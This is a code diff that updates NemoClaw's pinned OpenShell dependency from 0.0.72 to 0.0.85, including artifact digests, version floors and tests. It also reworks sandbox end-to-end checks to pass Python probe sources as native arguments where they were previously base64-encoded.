--- a/src/lib/onboard/docker-driver-gateway-runtime.test.ts
+++ b/src/lib/onboard/docker-driver-gateway-runtime.test.ts
@@ -130,18 +130,18 @@ describe("docker-driver gateway runtime helpers", () => {
     ).toBe("ghcr.io/nvidia/openshell/supervisor:dev");
   });
 
-  it("pins the stable 0.0.72 supervisor default while preserving an explicit override", () => {
+  it("pins the stable 0.0.85 supervisor default while preserving an explicit override", () => {
     const image = (fallback: string) =>
       makeHelpers({
-        getBlueprintMaxOpenshellVersion: () => "0.0.72",
+        getBlueprintMaxOpenshellVersion: () => "0.0.85",
         supportedOpenshellFallbackVersion: fallback,
       }).helpers.getDockerDriverGatewayEnv(null, "linux").OPENSHELL_DOCKER_SUPERVISOR_IMAGE;
-    const stable = withEnv({ OPENSHELL_DOCKER_SUPERVISOR_IMAGE: undefined }, () => image("0.0.72"));
+    const stable = withEnv({ OPENSHELL_DOCKER_SUPERVISOR_IMAGE: undefined }, () => image("0.0.85"));
     expect(stable).toBe(
-      "ghcr.io/nvidia/openshell/supervisor@sha256:80ed9cda5bf672fefdb9dcd4604b40a8b09c0891b6eb9d03e10227c7e3dfb49d",
+      "ghcr.io/nvidia/openshell/supervisor@sha256:f4226253a3525c3832adac5b38b419a0f27d1e915effe565b5885e20f93cd5e9",
     );
     const override = "registry.example.test/supervisor@sha256:override";
-    expect(withEnv({ OPENSHELL_DOCKER_SUPERVISOR_IMAGE: override }, () => image("0.0.72"))).toBe(
+    expect(withEnv({ OPENSHELL_DOCKER_SUPERVISOR_IMAGE: override }, () => image("0.0.85"))).toBe(
       override,
     );
   });
diff --git a/src/lib/onboard/docker-driver-gateway-runtime.ts b/src/lib/onboard/docker-driver-gateway-runtime.ts
index ece61d0c1b..d475b2dac1 100644
--- a/src/lib/onboard/docker-driver-gateway-runtime.ts
+++ b/src/lib/onboard/docker-driver-gateway-runtime.ts
@@ -32,6 +32,7 @@ import * as vmDriverProcess from "./vm-driver-process";
 
 const OPENSHELL_SUPERVISOR_MANIFEST_DIGESTS: Readonly<Record<string, string>> = {
   "0.0.72": "sha256:80ed9cda5bf672fefdb9dcd4604b40a8b09c0891b6eb9d03e10227c7e3dfb49d",
+  "0.0.85": "sha256:f4226253a3525c3832adac5b38b419a0f27d1e915effe565b5885e20f93cd5e9",
 };
 
 export type DockerDriverGatewayRuntimeDrift = { reason: string };
diff --git a/src/lib/onboard/openshell-feature-gate.test.ts b/src/lib/onboard/openshell-feature-gate.test.ts
index dc42fc5e86..4bdb118e1b 100644
--- a/src/lib/onboard/openshell-feature-gate.test.ts
+++ b/src/lib/onboard/openshell-feature-gate.test.ts
@@ -57,6 +57,54 @@ describe("OpenShell MCP feature gate", () => {
     }
   });
 
+  it("identifies the pinned v0.0.82 sandbox artifacts without executing them", () => {
+    const sandbox = path.join(
+      fs.mkdtempSync(path.join(os.tmpdir(), "nemoclaw-openshell-features-")),
+      "openshell-sandbox",
+    );
+    try {
+      fs.writeFileSync(
+        sandbox,
+        `#!/bin/sh\nexit 127\n# ${REQUIRED_OPENSHELL_SANDBOX_MCP_FEATURE}\n`,
+        { mode: 0o755 },
+      );
+      const digest = "145246049bd73c60452ac3c2b4b1801663196c8e2f80575af820289c78c1cf09";
+      const arm64Digest = "76bc19b70d9f1e1e9871307045796cd39cc7b8fc4c08ffc90593cc934f36d500";
+
+      expect(pinnedOpenShellSandboxBuildVersion(digest)).toBe("0.0.82");
+      expect(pinnedOpenShellSandboxBuildVersion(arm64Digest)).toBe("0.0.82");
+      expect(resolveOpenShellComponentBuildVersion(sandbox, "sandbox", () => digest)).toBe(
+        "0.0.82",
+      );
+    } finally {
+      fs.rmSync(path.dirname(sandbox), { recursive: true, force: true });
+    }
+  });
+
+  it("identifies the pinned v0.0.85 sandbox artifacts without executing them", () => {
+    const sandbox = path.join(
+      fs.mkdtempSync(path.join(os.tmpdir(), "nemoclaw-openshell-features-")),
+      "openshell-sandbox",
+    );
+    try {
+      fs.writeFileSync(
+        sandbox,
+        `#!/bin/sh\nexit 127\n# ${REQUIRED_OPENSHELL_SANDBOX_MCP_FEATURE}\n`,
+        { mode: 0o755 },
+      );
+      const digest = "863ef21ab7ef623f5e7a8728c4e5532b46bfbae3ace3b800665a1c6353a1f7d2";
+      const arm64Digest = "680115dbc2affde0e88261ab09f4044726d1cc9e01de55dc5077d1118f52968d";
+
+      expect(pinnedOpenShellSandboxBuildVersion(digest)).toBe("0.0.85");
+      expect(pinnedOpenShellSandboxBuildVersion(arm64Digest)).toBe("0.0.85");
+      expect(resolveOpenShellComponentBuildVersion(sandbox, "sandbox", () => digest)).toBe(
+        "0.0.85",
+      );
+    } finally {
+      fs.rmSync(path.dirname(sandbox), { recursive: true, force: true });
+    }
+  });
+
   it("finds provider rewrite and MCP L7 markers across OpenShell binaries", () => {
     const dir = fs.mkdtempSync(path.join(os.tmpdir(), "nemoclaw-openshell-features-"));
     try {
diff --git a/src/lib/onboard/openshell-feature-gate.ts b/src/lib/onboard/openshell-feature-gate.ts
index 90fc37ddc7..fb881d669a 100644
--- a/src/lib/onboard/openshell-feature-gate.ts
+++ b/src/lib/onboard/openshell-feature-gate.ts
@@ -53,6 +53,12 @@ const PINNED_SANDBOX_BUILD_VERSIONS = new Map<string, string>([
   // old to execute `--version` (the release requires GLIBC_2.39).
   ["f9f991a24d10772ad5d24ae27a8ea6baad8cac671695bd90fcd0355e0e0ad198", "0.0.72"],
   ["32ca44fe7d9e6d332f2a753c6b8a1a6117b7388281dad9b5274d23ffc67e216f", "0.0.72"],
+  // OpenShell v0.0.82 standalone sandbox binaries.
+  ["145246049bd73c60452ac3c2b4b1801663196c8e2f80575af820289c78c1cf09", "0.0.82"],
+  ["76bc19b70d9f1e1e9871307045796cd39cc7b8fc4c08ffc90593cc934f36d500", "0.0.82"],
+  // OpenShell v0.0.85 standalone sandbox binaries.
+  ["863ef21ab7ef623f5e7a8728c4e5532b46bfbae3ace3b800665a1c6353a1f7d2", "0.0.85"],
+  ["680115dbc2affde0e88261ab09f4044726d1cc9e01de55dc5077d1118f52968d", "0.0.85"],
 ]);
 
 export function pinnedOpenShellSandboxBuildVersion(sha256: string): string | null {
@@ -104,7 +110,7 @@ function componentBuildVersionsMatch(left: string, right: string): boolean {
 // from version text alone. sourceBoundary: OpenShell owns component identity
 // and the future native capability response; this scanner is an artifact and
 // install-repair preflight only and never authorizes an MCP mutation.
-// whyNotSourceFix: v0.0.72 has no structured installed-feature response.
+// whyNotSourceFix: v0.0.85 has no structured installed-feature response.
 // regressionTest: openshell-feature-gate.test.ts covers mixed roots, symlink
 // farms, stale components, unreadable binaries, and the pinned sandbox digest.
 // removalCondition: replace this scan when OpenShell exposes a versioned native
diff --git a/src/lib/onboard/openshell-install.test.ts b/src/lib/onboard/openshell-install.test.ts
index 95220e033a..480e295a98 100644
--- a/src/lib/onboard/openshell-install.test.ts
+++ b/src/lib/onboard/openshell-install.test.ts
@@ -73,4 +73,21 @@ describe("ensureOpenshellForOnboard", () => {
       "  \u2717 openshell is missing provider credential rewrite or MCP L7 policy support.",
     );
   });
+
+  it("applies the 0.0.85 floor during final validation when the blueprint omits a minimum", () => {
+    const deps = makeDeps({
+      isOpenshellInstalled: () => false,
+      getInstalledOpenshellVersion: () => "0.0.81",
+      getBlueprintMinOpenshellVersion: () => null,
+      getBlueprintMaxOpenshellVersion: () => null,
+      runCaptureOpenshell: () => "openshell 0.0.81",
+    });
+
+    expect(() => ensureOpenshellForOnboard(deps)).toThrow("exit 1");
+    expect(deps.installOpenshell).toHaveBeenCalledTimes(1);
+    expect(deps.error).toHaveBeenCalledWith(
+      "  \u2717 openshell 0.0.81 is below the minimum required by this NemoClaw release.",
+    );
+    expect(deps.error).toHaveBeenCalledWith("    blueprint.yaml min_openshell_version: 0.0.85");
+  });
 });
diff --git a/src/lib/onboard/openshell-install.ts b/src/lib/onboard/openshell-install.ts
index 4c13d70ff6..271e0b52ad 100644
--- a/src/lib/onboard/openshell-install.ts
+++ b/src/lib/onboard/openshell-install.ts
@@ -157,6 +157,7 @@ export function ensureOpenshellForOnboard(deps: OpenShellInstallDeps): OpenShell
     localBin: null,
     futureShellPathHint: null,
   };
+  const minOpenshellVersion = deps.getBlueprintMinOpenshellVersion() ?? "0.0.85";
 
   if (!deps.isOpenshellInstalled()) {
     deps.log("  openshell CLI not found. Installing...");
@@ -177,7 +178,6 @@ export function ensureOpenshellForOnboard(deps: OpenShellInstallDeps): OpenShell
         deps.exit(1);
       }
     } else {
-      const minOpenshellVersion = deps.getBlueprintMinOpenshellVersion() ?? "0.0.72";
       const currentVersionOutput = deps.runCaptureOpenshell(["--version"], {
         ignoreError: true,
       });
@@ -224,7 +224,6 @@ export function ensureOpenshellForOnboard(deps: OpenShellInstallDeps): OpenShell
   });
   deps.log(`  \u2713 openshell CLI: ${openshellVersionOutput || "unknown"}`);
   const installedOpenshellVersion = deps.getInstalledOpenshellVersion(openshellVersionOutput);
-  const minOpenshellVersion = deps.getBlueprintMinOpenshellVersion();
   if (
     installedOpenshellVersion &&
     minOpenshellVersion &&
diff --git a/src/lib/onboard/openshell-version.ts b/src/lib/onboard/openshell-version.ts
index ff21b01d6c..894de51627 100644
--- a/src/lib/onboard/openshell-version.ts
+++ b/src/lib/onboard/openshell-version.ts
@@ -7,7 +7,7 @@ import path from "node:path";
 import { resolveOpenshell } from "../adapters/openshell/resolve";
 import { ROOT, runCapture } from "../runner";
 
-export const SUPPORTED_OPENSHELL_FALLBACK_VERSION = "0.0.72";
+export const SUPPORTED_OPENSHELL_FALLBACK_VERSION = "0.0.85";
 
 export function getInstalledOpenshellVersion(versionOutput: string | null = null): string | null {
   const openshellBin = resolveOpenshell();
diff --git a/test/agent-variant-docs.test.ts b/test/agent-variant-docs.test.ts
index 97adf0865b..134b6b4feb 100644
--- a/test/agent-variant-docs.test.ts
+++ b/test/agent-variant-docs.test.ts
@@ -203,7 +203,7 @@ OpenClaw content.
       });
 
       expect(rendered).toContain(
-        "[OpenShell 0.0.72 compatibility review](../security/openshell-0.0.72-compatibility-review#source-of-truth-boundaries)",
+        "[OpenShell gateway compatibility review](../security/openshell-0.0.72-compatibility-review#source-of-truth-boundaries)",
       );
       expect(rendered).not.toMatch(
         /\/user-guide\/(?:openclaw|hermes|deepagents)\/security\/openshell-0\.0\.72-compatibility-review/,
diff --git a/test/brev-launchable-ci-cpu-checksum.test.ts b/test/brev-launchable-ci-cpu-checksum.test.ts
index 0508d77a3b..682eaf1e57 100644
--- a/test/brev-launchable-ci-cpu-checksum.test.ts
+++ b/test/brev-launchable-ci-cpu-checksum.test.ts
@@ -11,7 +11,7 @@ import { describe, expect, it } from "vitest";
 const SCRIPT = path.join(import.meta.dirname, "..", "scripts", "brev-launchable-ci-cpu.sh");
 const BREV_LIFECYCLE_SCRIPT_MAX_BYTES = 16 * 1024;
 const ASSET = "openshell-x86_64-unknown-linux-musl.tar.gz";
-const PINNED_ASSET_SHA256 = "37836c3b50383e03249c5e16512c1806e591fba8451408a84fb2f628ddb318c4";
+const PINNED_ASSET_SHA256 = "078fa086f506832c3d47d992e6109f26074bdd55916ce268e47c3971423459eb";
 
 type FakeSystemOptions = {
   archiveShape?:
@@ -205,7 +205,7 @@ done
 case "$(basename "$out")" in
   ${ASSET})
     tmp="$(mktemp -d)"
-    printf '#!/usr/bin/env bash\\nprintf "openshell 0.0.72\\\\n"\\n' > "$tmp/openshell"
+    printf '#!/usr/bin/env bash\\nprintf "openshell 0.0.85\\\\n"\\n' > "$tmp/openshell"
     chmod +x "$tmp/openshell"
     /usr/bin/tar -czf "$out" -C "$tmp" openshell
     rm -rf "$tmp"
@@ -264,7 +264,7 @@ function runLaunchable(options: FakeSystemOptions) {
       ...process.env,
       LAUNCH_LOG: fake.launchLog,
       NEMOCLAW_CLONE_DIR: fake.cloneDir,
-      OPENSHELL_VERSION: options.openshellVersion ?? "v0.0.72",
+      OPENSHELL_VERSION: options.openshellVersion ?? "v0.0.85",
       PATH:
         options.nodeSourceChecksumTool === false ? fake.fakeBin : `${fake.fakeBin}:/usr/bin:/bin`,
       SUDO_USER: "tester",
@@ -327,7 +327,7 @@ describe("brev-launchable-ci-cpu.sh OpenShell checksum gate", { timeout: 30_000
       const out = combinedLaunchableOutput(result, fake.launchLog);
       expect(result.status, out).toBe(1);
       expect(out).toContain(
-        `OpenShell release checksum for ${ASSET} does not match NemoClaw-pinned v0.0.72 digest`,
+        `OpenShell release checksum for ${ASSET} does not match NemoClaw-pinned v0.0.85 digest`,
       );
       expect(fs.existsSync(fake.tarLog) ? fs.readFileSync(fake.tarLog, "utf-8") : "").toBe("");
       expect(fs.existsSync(fake.sudoLog) ? fs.readFileSync(fake.sudoLog, "utf-8") : "").not.toMatch(
@@ -363,7 +363,7 @@ describe("brev-launchable-ci-cpu.sh OpenShell checksum gate", { timeout: 30_000
     try {
       const out = combinedLaunchableOutput(result, fake.launchLog);
       expect(result.status, out).toBe(0);
-      expect(out).toContain("OpenShell CLI installed: openshell 0.0.72");
+      expect(out).toContain("OpenShell CLI installed: openshell 0.0.85");
       expect(fs.readFileSync(fake.tarLog, "utf-8")).toContain(`xzf`);
       const sudoLog = fs.readFileSync(fake.sudoLog, "utf-8");
       expect(sudoLog).toMatch(/^install -m 755 .*openshell/m);
diff --git a/test/candidate-compat.test.ts b/test/candidate-compat.test.ts
index 83c51897f2..3e398323cf 100644
--- a/test/candidate-compat.test.ts
+++ b/test/candidate-compat.test.ts
@@ -25,7 +25,7 @@ import {
 } from "../tools/candidate-compat.mts";
 
 const SHA = "a".repeat(40);
-const VERSION = "0.0.82";
+const VERSION = "0.0.85";
 const E2E_SOURCES = readFileSync(resolve(".github/workflows/e2e.yaml"), "utf8");
 const ASSETS = [
   { name: "openshell-x86_64-unknown-linux-musl.tar.gz", role: "cli" as const },
diff --git a/test/dcode-wrapper-identity.test.ts b/test/dcode-wrapper-identity.test.ts
index a4f3dbfd55..cb91c31897 100644
--- a/test/dcode-wrapper-identity.test.ts
+++ b/test/dcode-wrapper-identity.test.ts
@@ -487,17 +487,22 @@ describe.skipIf(!canRun)(
 );
 
 describe.skipIf(!canRun)(
-  "agents/langchain-deepagents-code/dcode-wrapper.sh OpenShell infra-key allowlist",
+  "agents/langchain-deepagents-code/dcode-wrapper.sh OpenShell supervisor identity boundary",
   () => {
-    it("starts dcode when runtime OPENSHELL_TLS_KEY carries the canonical mounted path", () => {
+    it.each([
+      ["OPENSHELL_TLS_CA", "/etc/openshell/tls/client/ca.crt"],
+      ["OPENSHELL_TLS_CERT", "/etc/openshell/tls/client/tls.crt"],
+      ["OPENSHELL_TLS_KEY", CANONICAL_TLS_KEY_PATH],
+    ])("refuses supervisor-only runtime %s regardless of mounted-path shape", (name, value) => {
       withTempDir((dir) => {
         const run = runBashWrapper(buildFixture(dir, SAMPLE_CONFIG), ["--version"], {
-          OPENSHELL_TLS_KEY: CANONICAL_TLS_KEY_PATH,
+          [name]: value,
         });
 
-        expect(run.status).toBe(0);
-        expect(run.launched).toBe(true);
-        expect(run.stderr).not.toContain("refusing to start");
+        expect(run.status).toBe(2);
+        expect(run.launched).toBe(false);
+        expect(run.stderr).toContain(name);
+        expect(run.stderr).not.toContain(value);
       });
     });
 
diff --git a/test/deepagents-mcp-legacy-lifecycle.test.ts b/test/deepagents-mcp-legacy-lifecycle.test.ts
index d4e68dc925..f674b3109f 100644
--- a/test/deepagents-mcp-legacy-lifecycle.test.ts
+++ b/test/deepagents-mcp-legacy-lifecycle.test.ts
@@ -38,7 +38,7 @@ vi.mock("../src/lib/actions/sandbox/process-recovery", () => ({
   executeSandboxExecCommand: mocks.executeSandboxExecCommand,
 }));
 
-const MATCHING_OPENSHELL = path.resolve("test/fixtures/openshell-v0.0.72");
+const MATCHING_OPENSHELL = path.resolve("test/fixtures/openshell-v0.0.85");
 const ORIGINAL_HOME = process.env.HOME;
 const ORIGINAL_OPENSHELL_BIN = process.env.NEMOCLAW_OPENSHELL_BIN;
 const ORIGINAL_OPENSHELL_GATEWAY = process.env.OPENSHELL_GATEWAY;
diff --git a/test/dependency-pins-check.test.ts b/test/dependency-pins-check.test.ts
index 9599a54d1f..f5dc0a72f6 100644
--- a/test/dependency-pins-check.test.ts
+++ b/test/dependency-pins-check.test.ts
@@ -46,6 +46,8 @@ function writeFixture(root: string, overrides: FixtureOverrides = {}): void {
     `https://registry.npmjs.org/openclaw/-/openclaw-${openclawVersion}.tgz`;
   const openclawArg = `OPENCLAW_${openclawVersion.replace(/[.-]/g, "_")}`;
   const hermesSemver = overrides.hermesSemver ?? HERMES_SEMVER;
+  const credentialManifestName = `openshell-child-visible-credentials.v${openshellMax}.json`;
+  const credentialVersion = overrides.credentialVersion ?? openshellMax;
   const installerHashVersions = [
     overrides.installerHashExtraVersion,
     overrides.installerHashVersion ?? openshellMax,
@@ -84,10 +86,10 @@ jobs:
     env:
       NEMOCLAW_OPENSHELL_PIN_VERSION: "${overrides.workflowPinVersion ?? openshellMax}"
 `,
-    [`src/lib/actions/sandbox/openshell-child-visible-credentials.v${openshellMax}.json`]:
-      JSON.stringify({
-        openshellVersion: overrides.credentialVersion ?? openshellMax,
-      }),
+    [`src/lib/actions/sandbox/${credentialManifestName}`]: JSON.stringify({
+      openshellCommit: "f".repeat(40),
+      openshellVersion: credentialVersion,
+    }),
     "src/lib/actions/sandbox/mcp-bridge-validation.ts": `
 import boundary from "./openshell-child-visible-credentials.v${overrides.mcpImportVersion ?? openshellMax}.json";
 `,
@@ -108,7 +110,7 @@ const BUILDS = new Map([
 ]);
 `,
     "agents/hermes/Dockerfile": `
-COPY src/lib/actions/sandbox/openshell-child-visible-credentials.v${openshellMax}.json /usr/local/lib/nemoclaw/openshell-child-visible-credentials.v${overrides.hermesDockerfileBoundaryVersion ?? openshellMax}.json
+COPY src/lib/actions/sandbox/${credentialManifestName} /usr/local/lib/nemoclaw/${`openshell-child-visible-credentials.v${overrides.hermesDockerfileBoundaryVersion ?? openshellMax}.json`}
 `,
     "agents/hermes/mcp-config-transaction.py": `
 BOUNDARY_MANIFEST_NAME = "openshell-child-visible-credentials.v${overrides.hermesTransactionBoundaryVersion ?? openshellMax}.json"
diff --git a/test/e2e/e2e-cloud-experimental/checks/03-deepagents-code-nemotron-ultra-profile.sh b/test/e2e/e2e-cloud-experimental/checks/03-deepagents-code-nemotron-ultra-profile.sh
index 88668ed195..89817219f5 100755
--- a/test/e2e/e2e-cloud-experimental/checks/03-deepagents-code-nemotron-ultra-profile.sh
+++ b/test/e2e/e2e-cloud-experimental/checks/03-deepagents-code-nemotron-ultra-profile.sh
@@ -27,10 +27,6 @@ sandbox_exec() {
   openshell sandbox exec --name "$SANDBOX_NAME" -- bash -c "$1" 2>&1
 }
 
-encode_source() {
-  base64 | tr -d '\n'
-}
-
 profile_contract_source() {
   cat <<'PY'
 import asyncio
@@ -285,9 +281,11 @@ fi
 
 sandbox_exec "test -x /opt/venv/bin/python3" >/dev/null || fail "/opt/venv/bin/python3 is missing"
 
-profile_source="$(profile_contract_source | encode_source)"
-profile_command="printf '%s' ${profile_source@Q} | base64 -d | /opt/venv/bin/python3 -I -"
-profile_output="$(sandbox_exec "$profile_command")" || fail "Nemotron Ultra harness profile contract failed: $profile_output"
+profile_source="$(profile_contract_source)"
+profile_output="$(
+  openshell sandbox exec --name "$SANDBOX_NAME" -- \
+    /opt/venv/bin/python3 -I -c "$profile_source" 2>&1
+)" || fail "Nemotron Ultra harness profile contract failed: $profile_output"
 printf '%s\n' "$profile_output" | grep -Fq "NEMOCLAW_NEMOTRON_ULTRA_PROFILE_OK:" || fail "profile verification marker is missing"
 pass "configured ChatOpenAI resolves the complete Nemotron Ultra profile without inference"
 
diff --git a/test/e2e/e2e-cloud-experimental/checks/04-deepagents-code-fresh-reonboard.sh b/test/e2e/e2e-cloud-experimental/checks/04-deepagents-code-fresh-reonboard.sh
index 87550e1f56..87548e05f9 100755
--- a/test/e2e/e2e-cloud-experimental/checks/04-deepagents-code-fresh-reonboard.sh
+++ b/test/e2e/e2e-cloud-experimental/checks/04-deepagents-code-fresh-reonboard.sh
@@ -62,10 +62,6 @@ assert_identity() {
   [ "$endpoint" = "https://inference.local/v1" ] || fail "$phase identity endpoint is '${endpoint:-missing}'"
 }
 
-encode_source() {
-  base64 | tr -d '\n'
-}
-
 seed_config_source() {
   cat <<'PY'
 import os
@@ -174,9 +170,11 @@ fi
 [ "$model_a" != "$model_b" ] || fail "model A and model B must differ"
 pass "initial live identity reports model A"
 
-seed_source="$(seed_config_source | encode_source)"
-seed_command="printf '%s' ${seed_source@Q} | base64 -d | /opt/venv/bin/python3 -I - ${model_a@Q} ${CREDENTIAL_CANARY@Q}"
-seed_output="$(sandbox_exec "$seed_command")" || fail "could not seed stale DCode config"
+seed_source="$(seed_config_source)"
+seed_output="$(
+  openshell sandbox exec --name "$SANDBOX_NAME" -- \
+    /opt/venv/bin/python3 -I -c "$seed_source" "$model_a" "$CREDENTIAL_CANARY" 2>&1
+)" || fail "could not seed stale DCode config"
 printf '%s\n' "$seed_output" | grep -Fq "NEMOCLAW_DCODE_STALE_CONFIG_SEEDED" || fail "stale config seed marker is missing"
 pass "seeded safe preferences and stale managed data"
 
@@ -279,9 +277,11 @@ if (!entry || entry.agent !== "langchain-deepagents-code" ||
 ' || fail "host registry does not report the verified model B selection"
 pass "status and registry report model B"
 
-verify_source="$(verify_config_source | encode_source)"
-verify_command="printf '%s' ${verify_source@Q} | base64 -d | /opt/venv/bin/python3 -I - ${model_a@Q} ${model_b@Q}"
-verify_output="$(sandbox_exec "$verify_command")" || fail "live DCode config does not preserve the managed restore boundary"
+verify_source="$(verify_config_source)"
+verify_output="$(
+  openshell sandbox exec --name "$SANDBOX_NAME" -- \
+    /opt/venv/bin/python3 -I -c "$verify_source" "$model_a" "$model_b" 2>&1
+)" || fail "live DCode config does not preserve the managed restore boundary"
 printf '%s\n' "$verify_output" | grep -Fq "NEMOCLAW_DCODE_FRESH_CONFIG_VERIFIED" || fail "fresh config verification marker is missing"
 pass "config keeps model B and only the allowlisted preferences"
 
diff --git a/test/e2e/e2e-cloud-experimental/checks/06-deepagents-code-python-egress.sh b/test/e2e/e2e-cloud-experimental/checks/06-deepagents-code-python-egress.sh
index 0adc0ed16d..d629a39b00 100755
--- a/test/e2e/e2e-cloud-experimental/checks/06-deepagents-code-python-egress.sh
+++ b/test/e2e/e2e-cloud-experimental/checks/06-deepagents-code-python-egress.sh
@@ -35,6 +35,10 @@ sandbox_exec() {
   openshell sandbox exec --name "$SANDBOX_NAME" -- bash -c "$1" 2>&1
 }
 
+sandbox_exec_argv() {
+  openshell sandbox exec --name "$SANDBOX_NAME" -- "$@" 2>&1
+}
+
 python_probe_source() {
   cat <<'PY'
 import sys
@@ -95,16 +99,14 @@ PY
 python_probe() {
   local python_bin="$1"
   local url="$2"
-  local -a command_prefix=("${@:3}")
-  local encoded remote_cmd
+  local source
+  shift 2
   if [ -n "${NEMOCLAW_E2E_PYTHON_PROBE_FIXTURE+x}" ]; then
     printf '%s\n' "$NEMOCLAW_E2E_PYTHON_PROBE_FIXTURE"
     return 0
   fi
-  encoded="$(python_probe_source | base64 | tr -d '\n')"
-  printf -v remote_cmd '%q ' "${command_prefix[@]}" "$python_bin"
-  remote_cmd+="-c \"\$(printf '%s' ${encoded@Q} | base64 -d)\" ${url@Q}"
-  sandbox_exec "$remote_cmd"
+  source="$(python_probe_source)"
+  sandbox_exec_argv "$@" "$python_bin" -c "$source" "$url"
 }
 
 expect_reached() {
@@ -125,10 +127,14 @@ expect_blocked() {
   local actor="$1"
   local label="$2"
   local url="$3"
-  local python_bin="${4:-python3}"
-  local -a command_prefix=("${@:5}")
+  local python_bin="python3"
   local output
-  output="$(python_probe "$python_bin" "$url" "${command_prefix[@]}" || true)"
+  shift 3
+  if [ "$#" -gt 0 ]; then
+    python_bin="$1"
+    shift
+  fi
+  output="$(python_probe "$python_bin" "$url" "$@" || true)"
   if echo "$output" | grep -q "BLOCKED:" && ! echo "$output" | grep -q "REACHED:"; then
     pass "${actor} cannot reach ${label} without explicit policy"
   elif echo "$output" | grep -q "REACHED:"; then
@@ -183,14 +189,16 @@ PY
 
 fetch_url_probe() {
   local url="$1"
-  local encoded remote_cmd
+  local source
   if [ -n "${NEMOCLAW_E2E_FETCH_URL_PROBE_FIXTURE+x}" ]; then
     printf '%s\n' "$NEMOCLAW_E2E_FETCH_URL_PROBE_FIXTURE"
     return 0
   fi
-  encoded="$(fetch_url_probe_source | base64 | tr -d '\n')"
-  remote_cmd=". /tmp/nemoclaw-proxy-env.sh && /opt/venv/bin/python3 -c \"\$(printf '%s' ${encoded@Q} | base64 -d)\" ${url@Q}"
-  sandbox_exec "$remote_cmd"
+  source="$(fetch_url_probe_source)"
+  # shellcheck disable=SC2016 # positional parameters expand inside the sandbox shell.
+  sandbox_exec_argv \
+    sh -c '. /tmp/nemoclaw-proxy-env.sh && exec /opt/venv/bin/python3 -c "$1" "$2"' \
+    nemoclaw-fetch-url-probe "$source" "$url"
 }
 
 expect_fetch_reached() {
@@ -230,17 +238,16 @@ if [ "${NEMOCLAW_E2E_PYTHON_EGRESS_SELF_TEST:-}" = "blocked-no-marker" ]; then
 fi
 
 if [ "${NEMOCLAW_E2E_PYTHON_EGRESS_SELF_TEST:-}" = "probe-command-shape" ]; then
-  sandbox_exec() {
-    case "$1" in
-      *$'\n'*)
-        printf '%s\n' "NEWLINE_IN_COMMAND"
-        return 1
-        ;;
-      *)
-        printf 'SINGLE_LINE_COMMAND:%s\n' "$1"
+  sandbox_exec_argv() {
+    local argument
+    for argument in "$@"; do
+      if [[ "$argument" == *$'\n'* ]]; then
+        printf '%s\n' "NATIVE_MULTILINE_ARGV"
         return 0
-        ;;
-    esac
+      fi
+    done
+    printf '%s\n' "MISSING_MULTILINE_ARGV"
+    return 1
   }
   python_probe "python3" "https://example.com/"
   python_probe "/opt/venv/bin/python3" "https://example.com/" "$DCODE_MANAGED_EXEC"
@@ -248,17 +255,16 @@ if [ "${NEMOCLAW_E2E_PYTHON_EGRESS_SELF_TEST:-}" = "probe-command-shape" ]; then
 fi
 
 if [ "${NEMOCLAW_E2E_PYTHON_EGRESS_SELF_TEST:-}" = "fetch-probe-command-shape" ]; then
-  sandbox_exec() {
-    case "$1" in
-      *$'\n'*)
-        printf '%s\n' "NEWLINE_IN_COMMAND"
-        return 1
-        ;;
-      *)
-        printf '%s\n' "NO_NEWLINE_IN_FETCH_COMMAND"
+  sandbox_exec_argv() {
+    local argument
+    for argument in "$@"; do
+      if [[ "$argument" == *$'\n'* ]]; then
+        printf '%s\n' "NATIVE_MULTILINE_ARGV"
         return 0
-        ;;
-    esac
+      fi
+    done
+    printf '%s\n' "MISSING_MULTILINE_ARGV"
+    return 1
   }
   fetch_url_probe "https://raw.githubusercontent.com/NVIDIA/NemoClaw/main/README.md"
   exit 0
diff --git a/test/e2e/e2e-cloud-experimental/checks/07-deepagents-code-headless-inference.sh b/test/e2e/e2e-cloud-experimental/checks/07-deepagents-code-headless-inference.sh
index dee737b944..4fa55ab96e 100755
--- a/test/e2e/e2e-cloud-experimental/checks/07-deepagents-code-headless-inference.sh
+++ b/test/e2e/e2e-cloud-experimental/checks/07-deepagents-code-headless-inference.sh
@@ -72,7 +72,7 @@ sandbox_direct_dcode() {
 }
 
 sandbox_dcode_wrapper_contract() {
-  # Keep the remote argv on one line: OpenShell rejects newline-bearing args.
+  # Keep this assertion as one atomic shell expression for clear failure attribution.
   # shellcheck disable=SC2016
   sandbox_exec 'dcode_path="$(command -v dcode 2>/dev/null || true)"; [ "$dcode_path" = /usr/local/bin/dcode ] && [ -x /usr/local/lib/nemoclaw/dcode-launcher.sh ] && [ -x /usr/local/lib/nemoclaw/dcode-managed-exec ] && [ -x /usr/local/lib/nemoclaw/dcode-wrapper.sh ] && cmp -s /usr/local/bin/dcode /usr/local/lib/nemoclaw/dcode-launcher.sh && cmp -s /usr/local/lib/nemoclaw/dcode-managed-exec /usr/local/lib/nemoclaw/dcode-launcher.sh && python3 -c '\''import importlib.util,sys; sys.exit(0 if importlib.util.find_spec("deepagents_code") else 1)'\'' && printf "%s\\n" NEMOCLAW_DCODE_WRAPPER_CHAIN_OK'
 }
@@ -265,8 +265,8 @@ SHIM
 )
 
 sandbox_login_proxy_contract() {
-  # OpenShell rejects CR/LF in any exec argv element, so keep this remote login
-  # command on one physical line. inference.local is intentionally absent from
+  # Keep the remote login contract in one quoted shell expression so the
+  # fixture can dispatch it atomically. inference.local is intentionally absent from
   # NO_PROXY: OpenShell does not need to provision inference.local DNS/hosts
   # into the sandbox because its managed proxy owns this L7 route. Adding
   # inference.local here would bypass that proxy and force a direct DNS lookup.
@@ -291,7 +291,7 @@ sandbox_entrypoint_rlimit_contract() {
 }
 
 rlimit_shell_contract_command() {
-  # Keep this command on one physical line: OpenShell rejects CR/LF in argv.
+  # Keep this contract as one atomic shell expression for clear failure attribution.
   # shellcheck disable=SC2016
